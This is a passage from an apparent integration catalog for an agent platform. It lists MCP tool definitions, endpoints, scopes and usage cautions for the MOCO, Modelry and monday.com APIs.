/users/presences/{id} PATCH /api/v1/moco/users/presences/{id}. Scopes: none. moco_patch_users_work_time_adjustments_by_id (write) — Update user work time adjustment via PATCH /users/work_time_adjustments/{id} PATCH /api/v1/moco/users/work_time_adjustments/{id}. Scopes: none. moco_post_account_catalog_services (write) — Create account catalog service via POST /account/catalog_services POST /api/v1/moco/account/catalog_services. Scopes: none. moco_post_account_catalog_services_by_catalog_service_id_items (write) — Create account catalog service item via POST /account/catalog_services/{catalog_service_id}/items POST /api/v1/moco/account/catalog_services/{catalog_service_id}/items. Scopes: none. moco_post_account_custom_properties (write) — Create account custom property via POST /account/custom_properties POST /api/v1/moco/account/custom_properties. Scopes: none. moco_post_account_expense_templates (write) — Create account expense template via POST /account/expense_templates POST /api/v1/moco/account/expense_templates. Scopes: none. moco_post_account_task_templates (write) — Create account task template via POST /account/task_templates POST /api/v1/moco/account/task_templates. Scopes: none. moco_post_account_web_hooks (write) — Create account web hook via POST /account/web_hooks POST /api/v1/moco/account/web_hooks. Scopes: none. moco_post_activities (write) — Create activity via POST /activities POST /api/v1/moco/activities. Scopes: none. moco_post_activities_bulk (write) — Create activities in bulk via POST /activities/bulk POST /api/v1/moco/activities/bulk. Scopes: none. moco_post_activities_disregard (write) — Disregard activities for invoicing via POST /activities/disregard POST /api/v1/moco/activities/disregard. Scopes: none. moco_post_approvals (write) — Create approval via POST /approvals POST /api/v1/moco/approvals. Scopes: none. moco_post_approvals_by_id_approve (write) — Approve approval via POST /approvals/{id}/approve POST /api/v1/moco/approvals/{id}/approve. Scopes: none. moco_post_approvals_by_id_deny (write) — Deny approval via POST /approvals/{id}/deny POST /api/v1/moco/approvals/{id}/deny. Scopes: none. moco_post_comments (write) — Create comment via POST /comments POST /api/v1/moco/comments. Scopes: none. moco_post_comments_bulk (write) — Create comments in bulk via POST /comments/bulk POST /api/v1/moco/comments/bulk. Scopes: none. moco_post_companies (write) — Create company via POST /companies POST /api/v1/moco/companies. Scopes: none. moco_post_contacts_people (write) — Create contact via POST /contacts/people POST /api/v1/moco/contacts/people. Scopes: none. moco_post_deal_categories (write) — Create deal category via POST /deal_categories POST /api/v1/moco/deal_categories. Scopes: none. moco_post_deals (write) — Create deal via POST /deals POST /api/v1/moco/deals. Scopes: none. moco_post_invoice_reminders (write) — Create invoice reminder via POST /invoice_reminders POST /api/v1/moco/invoice_reminders. Scopes: none. moco_post_invoice_reminders_by_id_send_email (write) — Send invoice reminder by email via POST /invoice_reminders/{id}/send_email POST /api/v1/moco/invoice_reminders/{id}/send_email. Scopes: none. moco_post_invoices (write) — Create invoice via POST /invoices POST /api/v1/moco/invoices. Scopes: none. moco_post_invoices_bookkeeping_exports (write) — Create invoice bookkeeping export via POST /invoices/bookkeeping_exports POST /api/v1/moco/invoices/bookkeeping_exports. Scopes: none. moco_post_invoices_by_id_send_email (write) — Send invoice by email via POST /invoices/{id}/send_email POST /api/v1/moco/invoices/{id}/send_email. Scopes: none. moco_post_invoices_by_invoice_id_attachments (write) — Create invoice attachment via POST /invoices/{invoice_id}/attachments POST /api/v1/moco/invoices/{invoice_id}/attachments. Scopes: none. moco_post_invoices_payments (write) — Create invoice payment via POST /invoices/payments POST /api/v1/moco/invoices/payments. Scopes: none. moco_post_invoices_payments_bulk (write) — Create invoice payments in bulk via POST /invoices/payments/bulk POST /api/v1/moco/invoices/payments/bulk. Scopes: none. moco_post_offer_confirmations (write) — Create offer confirmation via POST /offer_confirmations POST /api/v1/moco/offer_confirmations. Scopes: none. moco_post_offers (write) — Create offer via POST /offers POST /api/v1/moco/offers. Scopes: none. moco_post_offers_by_id_send_email (write) — Send offer by email via POST /offers/{id}/send_email POST /api/v1/moco/offers/{id}/send_email. Scopes: none. moco_post_offers_by_offer_id_attachments (write) — Create offer attachment via POST /offers/{offer_id}/attachments POST /api/v1/moco/offers/{offer_id}/attachments. Scopes: none. moco_post_offers_by_offer_id_customer_approval_activate (write) — Activate customer approval via POST /offers/{offer_id}/customer_approval/activate POST /api/v1/moco/offers/{offer_id}/customer_approval/activate. Scopes: none. moco_post_offers_by_offer_id_customer_approval_deactivate (write) — Deactivate customer approval via POST /offers/{offer_id}/customer_approval/deactivate POST /api/v1/moco/offers/{offer_id}/customer_approval/deactivate. Scopes: none. moco_post_planned_purchases (write) — Create planned purchase via POST /planned_purchases POST /api/v1/moco/planned_purchases. Scopes: none. moco_post_planning_entries (write) — Create planning entry via POST /planning_entries POST /api/v1/moco/planning_entries. Scopes: none. moco_post_projects (write) — Create project via POST /projects POST /api/v1/moco/projects. Scopes: none. moco_post_projects_by_project_id_contracts (write) — Create project contract via POST /projects/{project_id}/contracts POST /api/v1/moco/projects/{project_id}/contracts. Scopes: none. moco_post_projects_by_project_id_expenses (write) — Create project expense via POST /projects/{project_id}/expenses POST /api/v1/moco/projects/{project_id}/expenses. Scopes: none. moco_post_projects_by_project_id_expenses_bulk (write) — Create project expenses in bulk via POST /projects/{project_id}/expenses/bulk POST /api/v1/moco/projects/{project_id}/expenses/bulk. Scopes: none. moco_post_projects_by_project_id_expenses_disregard (write) — Disregard project expenses via POST /projects/{project_id}/expenses/disregard POST /api/v1/moco/projects/{project_id}/expenses/disregard. Scopes: none. moco_post_projects_by_project_id_payment_schedules (write) — Create project payment schedule via POST /projects/{project_id}/payment_schedules POST /api/v1/moco/projects/{project_id}/payment_schedules. Scopes: none. moco_post_projects_by_project_id_recurring_expenses (write) — Create project recurring expense via POST /projects/{project_id}/recurring_expenses POST /api/v1/moco/projects/{project_id}/recurring_expenses. Scopes: none. moco_post_projects_by_project_id_recurring_expenses_by_id_recur (write) — Recur project recurring expense via POST /projects/{project_id}/recurring_expenses/{id}/recur POST /api/v1/moco/projects/{project_id}/recurring_expenses/{id}/recur. Scopes: none. moco_post_projects_by_project_id_tasks (write) — Create project task via POST /projects/{project_id}/tasks POST /api/v1/moco/projects/{project_id}/tasks. Scopes: none. moco_post_purchases (write) — Create purchase via POST /purchases POST /api/v1/moco/purchases. Scopes: none. moco_post_purchases_bookkeeping_exports (write) — Create purchase bookkeeping export via POST /purchases/bookkeeping_exports POST /api/v1/moco/purchases/bookkeeping_exports. Scopes: none. moco_post_purchases_budgets (write) — Create purchase budget via POST /purchases/budgets POST /api/v1/moco/purchases/budgets. Scopes: none. moco_post_purchases_by_id_assign_to_project (write) — Assign purchase item to project via POST /purchases/{id}/assign_to_project POST /api/v1/moco/purchases/{id}/assign_to_project. Scopes: none. moco_post_purchases_drafts (write) — Create purchase draft via POST /purchases/drafts POST /api/v1/moco/purchases/drafts. Scopes: none. moco_post_purchases_payments (write) — Create purchase payment via POST /purchases/payments POST /api/v1/moco/purchases/payments. Scopes: none. moco_post_purchases_payments_bulk (write) — Create purchase payments in bulk via POST /purchases/payments/bulk POST /api/v1/moco/purchases/payments/bulk. Scopes: none. moco_post_receipts (write) — Create receipt via POST /receipts POST /api/v1/moco/receipts. Scopes: none. moco_post_revenue_categories (write) — Create revenue category via POST /revenue_categories POST /api/v1/moco/revenue_categories. Scopes: none. moco_post_schedules (write) — Create schedule via POST /schedules POST /api/v1/moco/schedules. Scopes: none. moco_post_session (write) — Create API session via POST /session POST /api/v1/moco/session. Scopes: none. moco_post_tags (write) — Create tag via POST /tags POST /api/v1/moco/tags. Scopes: none. moco_post_units (write) — Create unit via POST /units POST /api/v1/moco/units. Scopes: none. moco_post_users (write) — Create user via POST /users POST /api/v1/moco/users. Scopes: none. moco_post_users_absence_requests (write) — Create user absence request via POST /users/absence_requests POST /api/v1/moco/users/absence_requests. Scopes: none. moco_post_users_employments (write) — Create user employment via POST /users/employments POST /api/v1/moco/users/employments. Scopes: none. moco_post_users_holidays (write) — Create user holiday via POST /users/holidays POST /api/v1/moco/users/holidays. Scopes: none. moco_post_users_presences (write) — Create user presence via POST /users/presences POST /api/v1/moco/users/presences. Scopes: none. moco_post_users_presences_touch (write) — Touch user presence via POST /users/presences/touch POST /api/v1/moco/users/presences/touch. Scopes: none. moco_post_users_work_time_adjustments (write) — Create user work time adjustment via POST /users/work_time_adjustments POST /api/v1/moco/users/work_time_adjustments. Scopes: none. moco_put_account_catalog_services_by_catalog_service_id_items_by_id (write) — Update account catalog service item via PUT /account/catalog_services/{catalog_service_id}/items/{id} PUT /api/v1/moco/account/catalog_services/{catalog_service_id}/items/{id}. Scopes: none. moco_put_account_catalog_services_by_id (write) — Update account catalog service via PUT /account/catalog_services/{id} PUT /api/v1/moco/account/catalog_services/{id}. Scopes: none. moco_put_account_custom_properties_by_id (write) — Update account custom property via PUT /account/custom_properties/{id} PUT /api/v1/moco/account/custom_properties/{id}. Scopes: none. moco_put_account_expense_templates_by_id (write) — Update account expense template via PUT /account/expense_templates/{id} PUT /api/v1/moco/account/expense_templates/{id}. Scopes: none. moco_put_account_internal_hourly_rates (write) — Update account internal hourly rates via PUT /account/internal_hourly_rates PUT /api/v1/moco/account/internal_hourly_rates. Scopes: none. moco_put_account_task_templates_by_id (write) — Update account task template via PUT /account/task_templates/{id} PUT /api/v1/moco/account/task_templates/{id}. Scopes: none. moco_put_account_web_hooks_by_id (write) — Update account web hook via PUT /account/web_hooks/{id} PUT /api/v1/moco/account/web_hooks/{id}. Scopes: none. moco_put_account_web_hooks_by_id_disable (write) — Disable account web hook via PUT /account/web_hooks/{id}/disable PUT /api/v1/moco/account/web_hooks/{id}/disable. Scopes: none. moco_put_account_web_hooks_by_id_enable (write) — Enable account web hook via PUT /account/web_hooks/{id}/enable PUT /api/v1/moco/account/web_hooks/{id}/enable. Scopes: none. moco_put_activities_by_id (write) — Update activity via PUT /activities/{id} PUT /api/v1/moco/activities/{id}. Scopes: none. moco_put_comments_by_id (write) — Update comment via PUT /comments/{id} PUT /api/v1/moco/comments/{id}. Scopes: none. moco_put_companies_by_id (write) — Update company via PUT /companies/{id} PUT /api/v1/moco/companies/{id}. Scopes: none. moco_put_companies_by_id_archive (write) — Archive company via PUT /companies/{id}/archive PUT /api/v1/moco/companies/{id}/archive. Scopes: none. moco_put_companies_by_id_unarchive (write) — Unarchive company via PUT /companies/{id}/unarchive PUT /api/v1/moco/companies/{id}/unarchive. Scopes: none. moco_put_contacts_people_by_id (write) — Update contact via PUT /contacts/people/{id} PUT /api/v1/moco/contacts/people/{id}. Scopes: none. moco_put_deal_categories_by_id (write) — Update deal category via PUT /deal_categories/{id} PUT /api/v1/moco/deal_categories/{id}. Scopes: none. moco_put_deals_by_id (write) — Update deal via PUT /deals/{id} PUT /api/v1/moco/deals/{id}. Scopes: none. moco_put_invoices_by_id_update_status (write) — Update invoice status via PUT /invoices/{id}/update_status PUT /api/v1/moco/invoices/{id}/update_status. Scopes: none. moco_put_invoices_payments_by_id (write) — Update invoice payment via PUT /invoices/payments/{id} PUT /api/v1/moco/invoices/payments/{id}. Scopes: none. moco_put_offer_confirmations_by_id (write) — Update offer confirmation via PUT /offer_confirmations/{id} PUT /api/v1/moco/offer_confirmations/{id}. Scopes: none. moco_put_offers_by_id (write) — Update offer via PUT /offers/{id} PUT /api/v1/moco/offers/{id}. Scopes: none. moco_put_offers_by_id_assign (write) — Assign offer to company/project/deal via PUT /offers/{id}/assign PUT /api/v1/moco/offers/{id}/assign. Scopes: none. moco_put_offers_by_id_update_status (write) — Update offer status via PUT /offers/{id}/update_status PUT /api/v1/moco/offers/{id}/update_status. Scopes: none. moco_put_planned_purchases_by_id (write) — Update planned purchase via PUT /planned_purchases/{id} PUT /api/v1/moco/planned_purchases/{id}. Scopes: none. moco_put_planning_entries_by_id (write) — Update planning entry via PUT /planning_entries/{id} PUT /api/v1/moco/planning_entries/{id}. Scopes: none. moco_put_projects_by_id (write) — Update project via PUT /projects/{id} PUT /api/v1/moco/projects/{id}. Scopes: none. moco_put_projects_by_id_archive (write) — Archive project via PUT /projects/{id}/archive PUT /api/v1/moco/projects/{id}/archive. Scopes: none. moco_put_projects_by_id_assign_project_group (write) — Assign project to project group via PUT /projects/{id}/assign_project_group PUT /api/v1/moco/projects/{id}/assign_project_group. Scopes: none. moco_put_projects_by_id_disable_share (write) — Disable project report sharing via PUT /projects/{id}/disable_share PUT /api/v1/moco/projects/{id}/disable_share. Scopes: none. moco_put_projects_by_id_share (write) — Enable project report sharing via PUT /projects/{id}/share PUT /api/v1/moco/projects/{id}/share. Scopes: none. moco_put_projects_by_id_unarchive (write) — Unarchive project via PUT /projects/{id}/unarchive PUT /api/v1/moco/projects/{id}/unarchive. Scopes: none. moco_put_projects_by_id_unassign_project_group (write) — Unassign project from project group via PUT /projects/{id}/unassign_project_group PUT /api/v1/moco/projects/{id}/unassign_project_group. Scopes: none. moco_put_projects_by_project_id_contracts_by_id (write) — Update project contract via PUT /projects/{project_id}/contracts/{id} PUT /api/v1/moco/projects/{project_id}/contracts/{id}. Scopes: none. moco_put_projects_by_project_id_expenses_by_id (write) — Update project expense via PUT /projects/{project_id}/expenses/{id} PUT /api/v1/moco/projects/{project_id}/expenses/{id}. Scopes: none. moco_put_projects_by_project_id_payment_schedules_by_id (write) — Update project payment schedule via PUT /projects/{project_id}/payment_schedules/{id} PUT /api/v1/moco/projects/{project_id}/payment_schedules/{id}. Scopes: none. moco_put_projects_by_project_id_recurring_expenses_by_id (write) — Update project recurring expense via PUT /projects/{project_id}/recurring_expenses/{id} PUT /api/v1/moco/projects/{project_id}/recurring_expenses/{id}. Scopes: none. moco_put_projects_by_project_id_tasks_by_id (write) — Update project task via PUT /projects/{project_id}/tasks/{id} PUT /api/v1/moco/projects/{project_id}/tasks/{id}. Scopes: none. moco_put_purchases_budgets_by_id (write) — Update a purchase budget via PUT /purchases/budgets/{id} PUT /api/v1/moco/purchases/budgets/{id}. Scopes: none. moco_put_purchases_budgets_by_id_target (write) — Update budget target for a year via PUT /purchases/budgets/{id}/target PUT /api/v1/moco/purchases/budgets/{id}/target. Scopes: none. moco_put_purchases_by_id (write) — Update purchase via PUT /purchases/{id} PUT /api/v1/moco/purchases/{id}. Scopes: none. moco_put_purchases_payments_by_id (write) — Update purchase payment via PUT /purchases/payments/{id} PUT /api/v1/moco/purchases/payments/{id}. Scopes: none. moco_put_receipts_by_id (write) — Update receipt via PUT /receipts/{id} PUT /api/v1/moco/receipts/{id}. Scopes: none. moco_put_revenue_categories_by_id (write) — Update revenue category via PUT /revenue_categories/{id} PUT /api/v1/moco/revenue_categories/{id}. Scopes: none. moco_put_schedules_by_id (write) — Update schedule via PUT /schedules/{id} PUT /api/v1/moco/schedules/{id}. Scopes: none. moco_put_taggings_by_taggable_type_by_taggable_id (write) — Replace taggings for resource via PUT /taggings/{taggable_type}/{taggable_id} PUT /api/v1/moco/taggings/{taggable_type}/{taggable_id}. Scopes: none. moco_put_tags_by_id (write) — Update tag via PUT /tags/{id} PUT /api/v1/moco/tags/{id}. Scopes: none. moco_put_units_by_id (write) — Update unit via PUT /units/{id} PUT /api/v1/moco/units/{id}. Scopes: none. moco_put_users_by_id (write) — Update user via PUT /users/{id} PUT /api/v1/moco/users/{id}. Scopes: none. moco_put_users_employments_by_id (write) — Update user employment via PUT /users/employments/{id} PUT /api/v1/moco/users/employments/{id}. Scopes: none. moco_put_users_holidays_by_id (write) — Update user holiday via PUT /users/holidays/{id} PUT /api/v1/moco/users/holidays/{id}. Scopes: none. moco_put_users_presences_by_id (write) — Update user presence via PUT /users/presences/{id} PUT /api/v1/moco/users/presences/{id}. Scopes: none. moco_put_users_work_time_adjustments_by_id (write) — Update user work time adjustment via PUT /users/work_time_adjustments/{id} PUT /api/v1/moco/users/work_time_adjustments/{id}. Scopes: none. ================================================================================ ## Modelry URL: https://www.agenticfabriq.com/integrations/modelry Section: Integrated Tools Modelry — 23 MCP tools Provider key: modelry. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. modelry_delete_v1_products_by_id (write, destructive) — Delete a product via DELETE /v1/products/{id}. DESTRUCTIVE AND IRREVERSIBLE. Deletes the product, and with it the assets and the product viewers that hang off it -- including any viewer a storefront has already embedded, which stops rendering wherever it was published. Modelry answers 204 with no body and publishes no undelete. DELETE /api/v1/modelry/v1/products/{id}. Scopes: api. modelry_delete_v1_products_by_product_id_assets_by_id (write, destructive) — Delete a product asset via DELETE /v1/products/{product_id}/assets/{id}. DESTRUCTIVE AND IRREVERSIBLE. Removes one asset from the product. If that asset is what a published viewer renders, the viewer is left with nothing to show. Modelry publishes no undelete. DELETE /api/v1/modelry/v1/products/{product_id}/assets/{id}. Scopes: api. modelry_delete_v1_products_by_product_id_embeds_by_id (write, destructive) — Delete a product viewer via DELETE /v1/products/{product_id}/embeds/{id}. DESTRUCTIVE AND IRREVERSIBLE. Deletes the viewer. If it had been published, every storefront page carrying its embed stops rendering at that moment. Modelry publishes no undelete. DELETE /api/v1/modelry/v1/products/{product_id}/embeds/{id}. Scopes: api. modelry_get_v1_modeling_requests (read) — List modeling requests via GET /v1/modeling-requests. The modeling jobs Modelry's 3D artists are working for this account, newest first by default. `workspace_id` narrows to one workspace (get the id from List workspaces); `keywords` text-searches title, sku and batch_uid; `sort_by` takes an attribute and a direction as two array members and accepts sku, batch_uid, title, finished_at or created_at. `per_page` caps at 100 and defaults to 25. GET /api/v1/modelry/v1/modeling-requests. Scopes: api. modelry_get_v1_modeling_requests_by_id_or_sku (read) — Show a modeling request via GET /v1/modeling-requests/{id_or_sku}. One modeling request, addressed by EITHER its numeric id OR its SKU -- the same argument accepts both, which is Modelry's own contract. The reply carries `status`, `pipeline` (high_poly/low_poly/render), `price`, `inCustomerQa` and `customerQaUrl`, which together say whether this job is waiting on the customer to approve or reject it. GET /api/v1/modelry/v1/modeling-requests/{id_or_sku}. Scopes: api. modelry_get_v1_modeling_requests_by_modeling_request_id_or_sku_assets (read) — List a modeling request's assets via GET /v1/modeling-requests/{modeling_request_id_or_sku}/assets. The files delivered for this modeling request. Addressed by id or by SKU. THE SEALED REFERENCE DECLARES NO PARAMETER for the `{modeling_request_id_or_sku}` its own path carries; this build declares it, with the vendor's prose from the sibling operations, because an undeclared placeholder makes FastAPI refuse the route and takes the whole provider down at import. GET /api/v1/modelry/v1/modeling-requests/{modeling_request_id_or_sku}/assets. Scopes: api. modelry_get_v1_products (read) — List products via GET /v1/products. The workspace's 3D products, newest first by default. Nine filters, five of which are ARRAYS the vendor spells with brackets (`?tags[]=a&tags[]=b`) and this integration sends that way: `tags`, `source_label` (either 'Modeling request' or the name of the user who created it), `content_labels` (asset kinds such as 'Delivery Files', 'Renders', 'glTF Files', or a 3D file extension like '.max'), `tool_kinds` ('3D', '360HD', 'QR', 'AR') and `sort_by`, which takes an attribute and a direction as two members (`sort_by[]=title&sort_by[]=desc`). `per_page` caps at 100 and defaults to 25. GET /api/v1/modelry/v1/products. Scopes: api. modelry_get_v1_products_by_id (read) — Show a product via GET /v1/products/{id}. One product by its numeric Modelry id -- not its SKU. Returns the product's attributes and the assets and viewers attached to it. A 403 here is Modelry's documented shape for a product the token cannot see (another workspace), not a bad credential; a refused credential is a 401 with an empty body. GET /api/v1/modelry/v1/products/{id}. Scopes: api. modelry_get_v1_products_by_product_id_assets_download (read) — Download a product's assets via GET /v1/products/{product_id}/assets/download. Modelry answers this one with a BINARY body rather than JSON (the reference types the 200 as `string`/`binary`), so Agentic Fabriq returns it under a `raw` key as decoded text: useful to confirm the download exists and what it is, NOT a way to move a 3D file intact. `source_file` and `delivery_files` narrow which assets are included; with neither, the account's default selection applies. GET /api/v1/modelry/v1/products/{product_id}/assets/download. Scopes: api. modelry_get_v1_products_by_product_id_embeds (read) — List a product's viewers via GET /v1/products/{product_id}/embeds. The product viewers configured for this product. A viewer is the embeddable 3D/AR widget a storefront renders; listing them is how you find the one to publish or to read a share URL from. GET /api/v1/modelry/v1/products/{product_id}/embeds. Scopes: api. modelry_get_v1_products_by_product_id_embeds_by_id (read) — Show a product viewer via GET /v1/products/{product_id}/embeds/{id}. One product viewer by its numeric id, with its configuration, its viewer kind ('3D', '360HD', 'QR' or 'AR') and its embed details. Both ids are required and both are Modelry's own: the product's, then the viewer's -- a viewer id from a different product answers 404 rather than the viewer. GET /api/v1/modelry/v1/products/{product_id}/embeds/{id}. Scopes: api. modelry_get_v1_workspaces (read) — List workspaces via GET /v1/workspaces. The token owner's own workspaces, and the cheapest read Modelry publishes -- it is the probe on record for this provider. Use it FIRST: a workspace id from here is what narrows the modeling-request list, and it is the only place this API tells you which workspaces the pasted token can see. Page-numbered (`meta.page`, `meta.per_page`, `meta.total_records`). GET /api/v1/modelry/v1/workspaces. Scopes: api. modelry_post_v1_blobs (write) — Create a direct-upload blob via POST /v1/blobs. Step one of Modelry's two-step direct upload, for files too large to inline. It creates a `blob` record and returns a SIGNED BLOB ID plus the storage URL to PUT the bytes to; the bytes do not travel through this API at all. Step two is Attach an asset to a product, which takes that blob id. Use Upload a file instead for something small. POST /api/v1/modelry/v1/blobs. Scopes: api. modelry_post_v1_modeling_requests (write) — Create a modeling request via POST /v1/modeling-requests. Orders 3D modeling work from Modelry's artists, from a `modeling_request` object. THIS COMMISSIONS PAID WORK: a modeling request carries a `price` and is a real order against the account, not a draft record. Grant it only to an agent you mean to be able to spend. POST /api/v1/modelry/v1/modeling-requests. Scopes: api. modelry_post_v1_modeling_requests_by_modeling_request_id_or_sku_review_issues (write) — File review issues on a modeling request via POST /v1/modeling-requests/{modeling_request_id_or_sku}/review_issues. Files a list of `review_issues` against the delivered model -- the specific corrections an artist works from. Send these BEFORE rejecting the request. Addressed by id or by SKU. POST /api/v1/modelry/v1/modeling-requests/{modeling_request_id_or_sku}/review_issues. Scopes: api. modelry_post_v1_products (write) — Create a product via POST /v1/products. Creates a product from a `product` object. This is the record the assets and the embeddable viewers hang off, so it is the first call in most write flows. POST /api/v1/modelry/v1/products. Scopes: api. modelry_post_v1_products_by_product_id_assets (write) — Attach an asset to a product via POST /v1/products/{product_id}/assets. Attaches an already-uploaded file to the product. `blob_id` is the SIGNED BLOB ID that Create a direct-upload blob returns after the file itself has been PUT to the storage URL in that reply -- this call moves no bytes. `tags` is a list of strings. POST /api/v1/modelry/v1/products/{product_id}/assets. Scopes: api. modelry_post_v1_products_by_product_id_embeds (write) — Create a product viewer via POST /v1/products/{product_id}/embeds. Creates a product viewer from a `product_viewer` object. THE PATH IN THE SEALED REFERENCE IS WRONG FOR THIS ONE OPERATION and this build ships the measured route: the reference keys it `/v1/{product_id}/embeds`, which answers 404 on the live API, while `/v1/products/{product_id}/embeds` answers 401 -- the same form the other four viewer operations use. Creating a viewer does not publish it; Publish a product viewer does. POST /api/v1/modelry/v1/products/{product_id}/embeds. Scopes: api. modelry_post_v1_uploads (write) — Upload a file via POST /v1/uploads. The one-step upload, for a small file: `filename`, `content_type` and the file itself BASE64-ENCODED in `base64_file`. The whole payload travels as JSON in this request, so it is the wrong call for a large 3D asset -- use Create a direct-upload blob for those. POST /api/v1/modelry/v1/uploads. Scopes: api. modelry_put_v1_modeling_requests_by_id_or_sku_approve (write) — Approve a modeling request via PUT /v1/modeling-requests/{id_or_sku}/approve. Accepts the delivered model, ending customer QA for this request. A one-way step in Modelry's workflow -- the reference publishes no un-approve -- and it is what releases the request as finished. Address it by id or by SKU. PUT /api/v1/modelry/v1/modeling-requests/{id_or_sku}/approve. Scopes: api. modelry_put_v1_modeling_requests_by_id_or_sku_reject (write) — Reject a modeling request via PUT /v1/modeling-requests/{id_or_sku}/reject. Sends the delivered model back to the artists for rework. File the specific problems with File review issues on a modeling request first: a rejection without them tells the artist nothing. Address it by id or by SKU. PUT /api/v1/modelry/v1/modeling-requests/{id_or_sku}/reject. Scopes: api. modelry_put_v1_products_by_id (write) — Update a product via PUT /v1/products/{id}. Replaces the product's attributes from a `product` object. Modelry publishes no field-level PATCH for a product, so send the attributes you mean to keep as well as the ones you mean to change. PUT /api/v1/modelry/v1/products/{id}. Scopes: api. modelry_put_v1_products_by_product_id_embeds_by_id_publish (write) — Publish a product viewer via PUT /v1/products/{product_id}/embeds/{id}/publish. Publishes the viewer, which is what makes its embed render outside Modelry. This is a write with an EXTERNAL effect: after it, the widget is live wherever its snippet is pasted, and deleting the viewer later breaks that page. PUT /api/v1/modelry/v1/products/{product_id}/embeds/{id}/publish. Scopes: api. ================================================================================ ## monday.com URL: https://www.agenticfabriq.com/integrations/monday Section: Integrated Tools monday.com — 85 MCP tools Provider key: monday. Scopes: account:read, assets:read, boards:read, boards:write, docs:read, docs:write, me:read, notifications:write, tags:read, teams:read, teams:write, updates:read, updates:write, users:read, users:write, webhooks:read, webhooks:write, workspaces:read, workspaces:write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. monday_post_v2_graphql_mutation_add_content_to_doc_from_markdown (write) — Add content to doc from markdown via GraphQL mutation add_content_to_doc_from_markdown POST /api/v1/monday/mutation/add_content_to_doc_from_markdown. Scopes: docs:write. monday_post_v2_graphql_mutation_add_teams_to_board (write) — Add teams to board via GraphQL mutation add_teams_to_board POST /api/v1/monday/mutation/add_teams_to_board. Scopes: boards:write. monday_post_v2_graphql_mutation_add_teams_to_workspace (write) — Add teams to workspace via GraphQL mutation add_teams_to_workspace POST /api/v1/monday/mutation/add_teams_to_workspace. Scopes: workspaces:write. monday_post_v2_graphql_mutation_add_users_to_board (write) — Add users to board via GraphQL mutation add_users_to_board POST /api/v1/monday/mutation/add_users_to_board. Scopes: boards:write. monday_post_v2_graphql_mutation_add_users_to_team (write) — Add users to team via GraphQL mutation add_users_to_team POST /api/v1/monday/mutation/add_users_to_team. Scopes: teams:write. monday_post_v2_graphql_mutation_add_users_to_workspace (write) — Add users to workspace via GraphQL mutation add_users_to_workspace POST /api/v1/monday/mutation/add_users_to_workspace. Scopes: workspaces:write. monday_post_v2_graphql_mutation_archive_board (write, destructive) — Archive board via GraphQL mutation archive_board POST /api/v1/monday/mutation/archive_board. Scopes: boards:write. monday_post_v2_graphql_mutation_archive_group (write, destructive) — Archive group via GraphQL mutation archive_group POST /api/v1/monday/mutation/archive_group. Scopes: boards:write. monday_post_v2_graphql_mutation_archive_item (write, destructive) — Archive item via GraphQL mutation archive_item POST /api/v1/monday/mutation/archive_item. Scopes: boards:write. monday_post_v2_graphql_mutation_assign_team_owners (write) — Assign team owners via GraphQL mutation assign_team_owners POST /api/v1/monday/mutation/assign_team_owners. Scopes: teams:write. monday_post_v2_graphql_mutation_change_column_metadata (write) — Change column metadata via GraphQL mutation change_column_metadata POST /api/v1/monday/mutation/change_column_metadata. Scopes: boards:write. monday_post_v2_graphql_mutation_change_column_title (write) — Change column title via GraphQL mutation change_column_title POST /api/v1/monday/mutation/change_column_title. Scopes: boards:write. monday_post_v2_graphql_mutation_change_column_value (write) — Change column value via GraphQL mutation change_column_value POST /api/v1/monday/mutation/change_column_value. Scopes: boards:write. monday_post_v2_graphql_mutation_change_item_position (write) — Change item position via GraphQL mutation change_item_position POST /api/v1/monday/mutation/change_item_position. Scopes: boards:write. monday_post_v2_graphql_mutation_change_multiple_column_values (write) — Change multiple column values via GraphQL mutation change_multiple_column_values POST /api/v1/monday/mutation/change_multiple_column_values. Scopes: boards:write. monday_post_v2_graphql_mutation_change_simple_column_value (write) — Change simple column value via GraphQL mutation change_simple_column_value POST /api/v1/monday/mutation/change_simple_column_value. Scopes: boards:write. monday_post_v2_graphql_mutation_clear_item_updates (write, destructive) — Clear item updates via GraphQL mutation clear_item_updates POST /api/v1/monday/mutation/clear_item_updates. Scopes: boards:write. monday_post_v2_graphql_mutation_create_board (write) — Create board via GraphQL mutation create_board POST /api/v1/monday/mutation/create_board. Scopes: boards:write. monday_post_v2_graphql_mutation_create_column (write) — Create column via GraphQL mutation create_column POST /api/v1/monday/mutation/create_column. Scopes: boards:write. monday_post_v2_graphql_mutation_create_doc (write) — Create doc via GraphQL mutation create_doc POST /api/v1/monday/mutation/create_doc. Scopes: docs:write. monday_post_v2_graphql_mutation_create_doc_block (write) — Create doc block via GraphQL mutation create_doc_block POST /api/v1/monday/mutation/create_doc_block. Scopes: docs:write. monday_post_v2_graphql_mutation_create_folder (write) — Create folder via GraphQL mutation create_folder POST /api/v1/monday/mutation/create_folder. Scopes: workspaces:write. monday_post_v2_graphql_mutation_create_group (write) — Create group via GraphQL mutation create_group POST /api/v1/monday/mutation/create_group. Scopes: boards:write. monday_post_v2_graphql_mutation_create_item (write) — Create item via GraphQL mutation create_item POST /api/v1/monday/mutation/create_item. Scopes: boards:write. monday_post_v2_graphql_mutation_create_notification (write) — Create notification via GraphQL mutation create_notification POST /api/v1/monday/mutation/create_notification. Scopes: notifications:write. monday_post_v2_graphql_mutation_create_or_get_tag (write) — Create or get tag via GraphQL mutation create_or_get_tag POST /api/v1/monday/mutation/create_or_get_tag. Scopes: boards:write. monday_post_v2_graphql_mutation_create_subitem (write) — Create subitem via GraphQL mutation create_subitem POST /api/v1/monday/mutation/create_subitem. Scopes: boards:write. monday_post_v2_graphql_mutation_create_team (write) 